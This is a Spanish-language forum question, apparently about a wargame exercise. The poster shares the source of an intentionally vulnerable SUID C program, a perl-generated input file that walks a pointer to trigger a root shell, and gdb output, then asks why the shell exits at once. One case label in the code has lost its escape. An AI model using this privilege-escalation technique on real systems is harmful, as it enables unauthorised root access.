Estoy intentando explotar un programa SUID.
El programa es:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n':
print(buf, sizeof(buf)); continue; break;
case '\':
ptr--; break;
default:
e();
if(ptr > buf + sizeof(buf))
continue;
ptr++[0] = x; break;
}
}
printf("All done\n");
}
Podemos ver fácilmente que si de alguna manera cambiamos el contenido de ptr a alguna dirección que comienza con CA, entonces se generará un nuevo shell para nosotros. Y como ptr normalmente contiene una dirección que comienza con FF, la forma de disminuirla (ptr) es ingresar \ carácter. Así que hago un archivo con 0x35000000 '\' caracteres y finalmente 3 'a' al final del archivo
perl -e "print '\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa >> file # So that e() is called which actually spawns the shell
Y finalmente en gdb,
run < file
Sin embargo, en lugar de generar un shell, gdb está diciendo
process <some number> is executing new program /bin/dash
inferior 1 exited normally
Y luego volver a gdb prompt en lugar de obtener un shell. He confirmado al establecer puntos de interrupción en las ubicaciones apropiadas que ptr está comenzando con CA antes de que se llame a setresuid ().
También si canalizo esto fuera de gdb, no pasa nada.
./vulnProg < file
Se le devuelve el aviso de Bash.
Por favor, dime dónde estoy cometiendo un error.